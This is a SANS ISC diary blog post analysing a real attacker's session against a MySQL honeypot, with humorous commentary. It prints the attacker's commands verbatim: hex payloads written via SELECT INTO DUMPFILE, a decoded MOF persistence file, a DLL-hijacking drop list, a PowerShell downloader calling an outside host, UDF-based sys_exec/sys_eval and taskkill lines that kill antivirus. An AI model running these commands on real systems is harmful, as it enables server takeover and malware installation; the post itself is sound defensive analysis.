Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog - MySQL is YourSQL InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

MySQL is YourSQL

Published: 2016-06-03
Last Updated: 2016-06-03 12:17:48 UTC
by Tom Liston (Version: 1)
8 comment(s)

It's The End of the World and We Know It

If you listen to the press - those purveyors of doom, those “nattering nabobs of negativism” - you arrive at a single, undeniable conclusion: The world is going to hell in a hand-basket.

They tell us that we’ve become intolerant, selfish, and completely unconcerned with the welfare of our fellow man.

I’m here today to deliver a counterpoint to all of that negativity. I’ve come here to tell you that people are, essentially, GOOD.

You see: I am a database bubblehead.

Over the past few weeks, since I’ve deployed an obviously flawed, horribly insecure, and utterly fictitious “MySQL server,” I have received a veritable flood of free “assistance” in administering that system - provided by strangers from across the Interwebz.  They have - out of the very goodness of their hearts - taken over DBA duties. I’ve only had to sit back and watch...

Carefully.

Very, very carefully...

A Free DBA - And Worth EVERY Penny

There are so many folks interested in the toil and drudgery of DBA duties on my honeypot’s MySQL server, it seems like they’re taking shifts. One will arrive, do a touch of DBA work and then leave… eventually being replaced by another.  The amount of database-related kindness in this world is, in some ways, almost overwhelming.

Let’s take a look at what a typical “shift” for one of my “remote DBAs” looks like:

Arriving at the Office

My newest co-worker - our DBA du jour (who I’ve chosen to call “NoCostRemoteDBADude”) - makes his first appearance at the “office” and immediately logs into the MySQL server as ‘mysql’ with a blank password.

Note to self: Wow. That’s not very secure. I should probably fix that...

We all know how it is when you’re the FNG… you try your best to buckle down and get right to work… you know: impress the boss. NoCostRemoteDBADude does just that:

show variables like "%plugin%";
show variables like 'basedir';
show variables like "%plugin%";
SELECT @@version_compile_os;
show variables like '%version_compile_machine%';
use mysql;
SHOW VARIABLES LIKE '%basedir%';

Here, NoCostRemoteDBADude is obviously just trying to get the “lay of the land,” so to speak, and I can’t really say I blame him. After that whole, incredibly disappointing blank password thing, he’s got to be wondering what kind of idiot has been running this box…

I admit it: It was me, and I am a database bubblehead.

Have Toolz, Will Travel...

You can’t expect quality DBA work if you’re not willing to fork over cash for proper tools.

Unfortunately, my tool budget matches my expectation of quality: zero. If, therefore, you’re planning to remote-DBA my honeypot, it’s strictly B.Y.O. as far as tools go. While some folks may balk at the idea of doing DBA work for free AND providing your own tools, oddly, I’ve found no shortage of volunteers.

NoCostRemoteDBADude doesn’t disappoint. He obviously has a preferred suite of tools that he wastes no time installing:

SELECT 0x4D5A90000300000004000000FFFF0000B80000000
00000004000000000000000000000000000000000000000000
00000000000000000000000000000E80000000E1FBA0E00B40
9CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A2
4000000000000004F5AC1B40B3BAFE70B3BAFE70B3BAFE7C83
4F2E7033BAFE76424A5E70A3BAFE78827A1E70A3BAFE76424A
BE70F3BAFE73D1DA4E7093BAFE70B3BAEE7CE3BAFE73D1DABE
7083BAFE7E324A4E70E3BAFE7CC3DA9E70A3BAFE7526963680
B3BAFE70000000000000000504500004C0105006A4DD456000
.
.
.
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000 into DUMPFILE 
'C:/windows/system32/ukGMx.exe';

Obviously, NoCostRemoteDBADude is a fellow who knows his way around a MySQL database. Here, he’s using a SQL “SELECT” statement to dump a whole bunch of binary data (expressed as a single, long hexadecimal number) into a file, creating a Windows executable.

Although I am, admittedly, a database bubblehead, I know a thing or two about Perl, so I threw together a few lines of code designed to take the text representation of NoCostDBADude’s command and spit out a binary file.  Here’s what I found:

The file “ukGMx.exe” is a 36,864 byte long 32-bit Windows PE executable that, if run, immediately downloads hxxp://www.game918.me:2545/host.exe to the file “C:\Windows\shes.exe” and then launches that new executable. It also attempts some sort of weird “self-deleting” thing that, while it works, seems like overkill. Also, in looking over the executable, the old Win32 programmer in me is more than a little disappointed to see them using MFC42.dll. MFC was evil and bloaty from the outset, and it deserved to DIAF long ago. Seeing it included in exploit code is somewhat sad.  I find myself longing for the good ol’ days of being blown away by the coding prowess of the attackers… er… um… “remote-DBAs.”

Remember that I said “if run” in the above description. Right now, NoCostRemoteDBADude has only managed to create the file… he hasn’t managed to run anything. Yet.

Go Ahead And Just “Run” Your Code - I’m Gonna “Prancercize” Mine

Let’s see what else he has up his sleeve:

SELECT 0x23707261676D61206E616D65737061636528225C5
C5C5C2E5C5C726F6F745C5C63696D763222290A636C6173732
04D79436C6173733634390A7B0A2020095B6B65795D2073747
2696E67204E616D653B0A7D3B0A636C6173732041637469766
55363726970744576656E74436F6E73756D6572203A205F5F4
576656E74436F6E73756D65720A7B0A20095B6B65795D20737
472696E67204E616D653B0A2020095B6E6F745F6E756C6C5D2
0737472696E6720536372697074696E67456E67696E653B0A2
02009737472696E672053637269707446696C654E616D653B0
A2020095B74656D706C6174655D20737472696E67205363726
.
.
.
B0A2020436F6E73756D6572203D2024636F6E733B0A2020466
96C746572203D202446696C743B0A7D3B0A696E7374616E636
5206F66205F5F46696C746572546F436F6E73756D657242696
E64696E67206173202462696E64320A7B0A2020436F6E73756
D6572203D2024636F6E73323B0A202046696C746572203D202
446696C74323B0A7D3B0A696E7374616E6365206F66204D794
36C61737336343920617320244D79436C6173730A7B0A20204
E616D65203D2022436C617373436F6E73756D6572223B0A7D3
B0A into DUMPFILE 'C:/windows/system32/wbem/mof/buiXDj.mof';

A little Perl magic, and we find that this is actually a rather interesting text file:

#pragma namespace("\\\\.\\root\\cimv2")
class MyClass649
{
        [key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
        [key] string Name;
        [not_null] string ScriptingEngine;
        string ScriptFileName;
        [template] string ScriptText;
  uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
};
instance of __EventConsumerProviderRegistration
{
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
};
Instance of ActiveScriptEventConsumer as $cons
{
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"ukGMx.exe\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass649\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";

};
Instance of ActiveScriptEventConsumer as $cons2
{
  Name = "qndASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\Mxmto.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"ukGMx.exe\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
};
instance of __EventFilter as $Filt
{
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass649\"";
  QueryLanguage = "WQL";
};
instance of __EventFilter as $Filt2
{
  Name = "qndfilt";
  Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"ukGMx.exe\"";
  QueryLanguage = "WQL";

};
instance of __FilterToConsumerBinding as $bind
{
  Consumer = $cons;
  Filter = $Filt;
};
instance of __FilterToConsumerBinding as $bind2
{
  Consumer = $cons2;
  Filter = $Filt2;
};
instance of MyClass649 as $MyClass
{
  Name = "ClassConsumer";
};

For those unfamiliar with them, “.mof” files are a very interesting attack/persistence mechanism, and, under the right circumstances, dropping a file with the extension “.mof” into the “C:\windows\system32\wbem\mof” directory can make magical things happen. “Managed Object Format” (.mof) files can be used to change WMI settings or transfer WMI objects between computers.

Unfortunately, for an attacker, the text form of a “.mof” file is pretty much benign. In order for them to actually DO anything, they need to be compiled into binary form (which is normally done using the program mofcomp.exe). The cool thing about the “C:\windows\system32\wbem\mof” directory is that dropping a file into that directory on pre-Vista versions of Windows would result in them being automatically compiled… If they successfully compile, they’re installed in “C:\windows\system32\wbem\mof\good” (and, in the event the compile fails, “C:\windows\system32\wbem\mof\bad” with a logfile of all actions taken by the compiler stored at “C:\windows\system32\wbem\Logs\mofcomp.log”)  Files installed in this way run repeatedly - and in this case, the “.mof” file installs an event filter class (“MyClass649”) that triggers on:

  1. The instantiation of the class “MyClass649” (yes… it triggers upon its own creation)
  2. If a running version of “ukGMx.exe” ever exits

When the filter is triggered, it simply runs the program “ukGMx.exe” using Wscript.Shell. (FYI: Stuxnet used a very similar attack...)

Spray N’ Pray

Now all that is well and good if the MySQL server running on an older version of Windows (and if MySQL is running as a privileged user…), but what happens if that isn’t the case?  Well, NoCostRemoteDBADude has a lot more bases covered:

SELECT 0x4D5A90000300000004000000FFFF0000B80000000
00000004000000000000000000000000000000000000000000
00000000000000000000000000000D80000000E1FBA0E00B40
9CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A2
4000000000000009F755484DB143AD7DB143AD7DB143AD7580
834D7D9143AD7DB143BD7F6143AD7181B67D7DC143AD7330B3
1D7DA143AD71C123CD7DA143AD7330B3ED7DA143AD75269636
8DB143AD700000000000000000000000000000000504500004
C010300199C5F550000000000000000E0000E210B010600002
.
.
.
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
0000000000000000000 into DUMPFILE 'C:/Program Files/lpk.dll';

Again, we use some Perl magic to recover the binary of this file for examination:

The file lpk.dll is a 7,680 byte long 32-bit Windows DLL file that has been UPX compressed (uncompressed, it is 12,288 bytes long).

Not only does my NoCostRemoteDBADude drop lpk.dll in “C:/Program Files” but he drops the exact same file as:

  • 'C:/windows/lpk.dll'
  • 'lpk.dll'
  • 'C:/windows/system32/lpk.dll'
  • 'C:/lpk.dll'
  • 'D:/lpk.dll'
  • '%temp%/lpk.dll'
  • '%systemroot%/lpk.dll'
  • '../../bin/lpk.dll'
  • '../../lpk.dll'
  • '../lpk.dll'

NoCostRemoteDBADude’s apparent fetish for littering my hard drive with DLLs actually has a reasonable explanation: he’s attempting to exploit a DLL hijacking vulnerability.

The idea behind DLL hijacking is actually pretty simple. Windows has a search path for DLLs that works much in the same way that the $PATH environment variable works for finding executables. The default search path for DLLs works like this:

  1. The directory from which the application is run
  2. The current directory
  3. The system directory
  4. The 16-bit system directory
  5. The Windows directory
  6. The $PATH directories

Windows will look in each of those locations, in that order, until it finds the DLL it’s looking for. If, as an attacker, you can get a rogue/malicious DLL installed “in front” of the “real” DLL in that DLL search path, your DLL will be loaded instead of the real one, and run with the credentials of the application that is loading it.

By not specifying the full path to a system DLL, a program becomes vulnerable to this type of attack.  I whipped together a tiny Win32 executable that used LoadLibrary() to… well… load the library (lpk.dll). It’s also a perfect example for demonstrating DLL hijacking, because I “stupidly” used the command LoadLibrary(“lpk.dll”) rather than specifying a full system path.  On a clean install of Windows, it wouldn’t be a problem, but when I put NoCostRemoteDBADude’s version of lpk.dll in the same directory as my program, it loaded the malicious version instead.  Other programs vulnerable to “lpk.dll” hijacking? Several executables found in version 5.1 of MySQL.

I also used my “vulnerable” executable to investigate the behavior of the malicious DLL. When loaded, it provides all of the original functionality of the real lpk.dll with an interesting addition: it drops a 3,584 byte long 32-bit WIndows PE executable as “%Temp%\hrl1.tmp” (On Windows NT/2000/XP, %Temp% defaults to C:\Documents and Settings\[UserName]\Local Settings\Temp) and launches it.

This new “gift” from NoCostRemoteDBADude is actually a UPX compressed executable that, when uncompressed, weighs in at 24,576 bytes. The executable behaves very much like our friend ukGMx.exe from earlier (complete with the goofy “self-delete” functionality) but in addition to downloading hxxp://www.game918.me:2545/host.exe to C:\Windows\scvhost.exe and running it, it also downloads hxxp://www.82022333.cn:8065/im.exe to C:\Windows\fillworm.exe - before launching both programs and self-deleting.

A “User-Defined” Attack Vector

NoCostRemoteDBADude’s next move as a DBA was firing off the following, now-familiar-looking, command:

SELECT 0x4D5A90000300000004000000FFFF0000B80000000
00000004000000000000000000000000000000000000000000
00000000000000000000000000000E80000000E1FBA0E00B40
9CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A2
400000000000000F2950208B6F46C5BB6F46C5BB6F46C5B913
2175BB4F46C5B9132115BB7F46C5B9132025BB4F46C5B91320
15BBBF46C5B75FB315BB5F46C5BB6F46D5B9AF46C5B91321D5
BB7F46C5B9132165BB7F46C5B9132145BB7F46C5B52696368B
6F46C5B0000000000000000504500004C0103004E10A34D000
.
.
.
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000 into 
DUMPFILE '1QyCNY.dll';

This results in the creation of 1QyCNY.dll, a 6,144 byte-long UPX compressed Windows DLL. Interestingly, this file isn’t seen as malicious by - essentially - any antimalware tool that doesn’t get all wigged-out because a file is UPX compressed (seriously, AegisLabs, that’s the best you’ve got? It’s UPX compressed, therefore it must be EEEEEVIL!) The reason that is isn’t seen as malicious by non-reactionary antimalware tools is because… well… it ISN’T malicious. To understand why, we need to understand a little about MySQL UDFs (or, “User Defined Functions”).

In order to provide a mechanism for “extensibility,” MySQL allows for the addition of new functionality by loading User Defined Functions in shared libraries (.so files under Linux, and .dll files in Windows). If, for example, you had a pressing need to add new functionality to your SQL-based application… say, to turn the sound volume to “11” and announce via speech synthesis, “Hey everybody! I’m lookin’ at porn...” all whilst making the server’s CD tray slide in and out - not that I’ve ever DONE anything like that, mind you... You would simply create your function, compile it into a DLL (confession.dll) as an exported function (int porn_confession( )) along with a few other, necessary support functions, and then you can add the new function to MySQL like so:

CREATE FUNCTION porn_confession RETURNS INTEGER SONAME 'confession.dll';

NoCostRemoteDBADude’s 1QyCNY.dll file isn’t seen as malicious because it is, essentially, a perfectly legitimate MySQL UDF library (or, if you’re AegisLabs, it’s an unholy, UPX-packed spawn of Satan).  It’s simply a tool - a blunt instrument - that can be used for either good -  or as we’ll soon see - for evil.

What This Hack Needs Is More PowerShell

NoCostRemoteDBADude follows this with the creation of another file:

SELECT 0x24736F757263653D22687474703A2F2F7777772E6
7616D653931382E6D653A323534352F686F73742E657865220
D0A2464657374696E6174696F6E3D22433A5C57696E646F777
35C686F73742E657865220D0A247777773D4E65772D4F626A6
563742053797374656D2E4E65742E576562436C69656E740D0
A247777772E446F776E6C6F616446696C652824736F7572636
52C202464657374696E6174696F6E290D0A496E766F6B652D4
5787072657373696F6E2822433A5C57696E646F77735C686F7
3742E6578652229 into DUMPFILE 'c:/windows/temp.ps1';

This file turns out to look like this:

$source="http://www.game918.me:2545/host.exe"
$destination="C:\Windows\host.exe"
$www=New-Object System.Net.WebClient
$www.DownloadFile($source, $destination)
Invoke-Expression("C:\Windows\host.exe")

Yep, it’s some PowerShell code designed to download our old pal hxxp://www.game918.me:2545/host.exe, and - this time - save it as C:\Windows\host.exe before executing it.

Hacking All the Things

But how does all of this come together? NoCostRemoteDBADude has a solution. In an effort to bring all of his work full circle, he snaps off the following commands:

DROP FUNCTION IF EXISTS sys_exec;
CREATE FUNCTION sys_exec RETURNS string SONAME '1QyCNY.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME '1QyCNY.dll';
select sys_eval('taskkill /f /im 360safe.exe&taskkill /f /im 360sd.exe&taskkill /f /im 360rp.exe&taskkill /f /im 360rps.exe&taskkill /f /im 360tray.exe&taskkill /f /im ZhuDongFangYu.exe&exit');
select sys_eval('taskkill /f /im SafeDogGuardCenter.exe&taskkill /f /im SafeDogSiteIIS.exe&taskkill /f /im SafeDogUpdateCenter.exe&taskkill /f /im SafeDogServerUI.exe&taskkill /f /im kxescore.exe&taskkill /f /im kxetray.exe&exit');
select sys_eval('taskkill /f /im QQPCTray.exe&taskkill /f /im QQPCRTP.exe&taskkill /f /im QQPCMgr.exe&taskkill /f /im kavsvc.exe&taskkill /f /im alg.exe&taskkill /f /im AVP.exe&exit');
select sys_eval('taskkill /f /im egui.exe&taskkill /f /im ekrn.exe&taskkill /f /im ccenter.exe&taskkill /f /im rfwsrv.exe&taskkill /f /im Ravmond.exe&taskkill /f /im rsnetsvr.exe&taskkill /f /im egui.exe&taskkill /f /im MsMpEng.exe&taskkill /f /im msseces.exe&exit');
select sys_exec('PowerShell.exe -ExecutionPolicy Unrestricted -NoProfile -windowstyle hidden -File c:\\windows\\temp.ps1');

Here we see NoCostRemoteDBADude create two new MySQL UDFs using 1QyCNY.dll: sys_exec( ) and sys_eval( ). He then uses these new functions to whack various antimalware tasks, and then launches PowerShell to run the script he just created.

“...And Then Everyone In The Universe Died.” - Game Of Thrones, Book XXI

So, the end-game for NoCostRemoteDBADude is to get host.exe downloaded from www.game918.me and running on our system (he also wanted to download something from www.82022333.cn, but that site is currently kaput...).  Let’s take a look at that file, shall we?

The file “host.exe” is, essentially, a 102,400 byte-long 32-bit Windows PE remote control trojan with the capability to both download and install or run pretty much anything that NoCostRemoteDBADude wants put on the box.  Obviously, this is how he intends to do his DBA work.

In addition to its run-of-the-mill “remote administration” capabilities, host.exe also has another nifty capability. Buried deep in the bowels of the program’s data is an interesting list of 180 IP addresses.  I cut the list out of the file and did a little “reconnaissance.” What I found was very interesting: Every one of the IPs is a DNS server - moreover, every one acts as a recursive resolver.  I can think of only one reason that NoCostRemoteDBADude would have uploaded an executable primed with an expansive list of recursive resolvers: DNS Amplification DDoS.

The classic example of an “amplification” attack harkens back to the ‘90s when you used to be able to send an ICMP echo request from a spoofed IP to the broadcast address of a netblock. Back in that more-naïve time, the router would see an inbound packet destined for the broadcast address and dutifully forward it to every IP address in the block, resulting in a wave of ICMP echo responses being sent back to the spoofed IP address. For reasons I’ve been unable to figure out, this was known as a SMURF attack, and demonstrates the two requirements of a good amplification attack:

  1. The traffic that initiates the response is sent over a connection-less protocol (in this case, ICMP) and is, therefore, easily spoofed.
  2. The response elicited is significantly larger than the traffic that initiates it.

SMURF attacks have - happily - been relegated to the same dustbin o’ history as other ‘90s “stuff” we’d like to forget (Vanilla Ice, slap bracelets, and - oh, dear Lord - parachute pants) but that doesn’t mean amplification attacks are gone.

DNS fits both of our amplification criteria very well: requests are sent over a connection-less protocol (UDP) and you can get a pretty good amplification if you make the right request.  All you need is a bunch of friendly DNS servers that will allow anyone and everyone to make requests...

Alrighty Then...

NoCostRemoteDBADude had a few more tricks up his sleeve.  He tried several different types and versions of UDFs, and attempted to create new MySQL accounts, but this overview covers his most interesting techniques. I found this to be a fascinating attack simply because of the broad range of “tricks of the trade” in use: DLL hijacking, .mof files, MySQL UDFs, PowerShell, AV disabling, and DNS amplification… it’s a pretty broad swath of attacker techniques. 

Also, this is a perfect example of why AV vendors and others who tout “malware removal” methods are not doing anyone a favor. Once any of these executable are running on my server, the whole concept of “cleanup” becomes untenable because I can’t have any idea about what other “toyz” ol’ NoCost may have installed.

Well, at least until my server starts yelling “Hey everybody, I’m watchin’ porn!”...

Tom Liston
Consultant - Cyber Network Defense
DarkMatter, LLC
Follow Me On Twitter: @tliston
If you enjoyed this post, you can see more like it on my personal blog: http://yourflyisopen.com

8 comment(s)
Diary Archives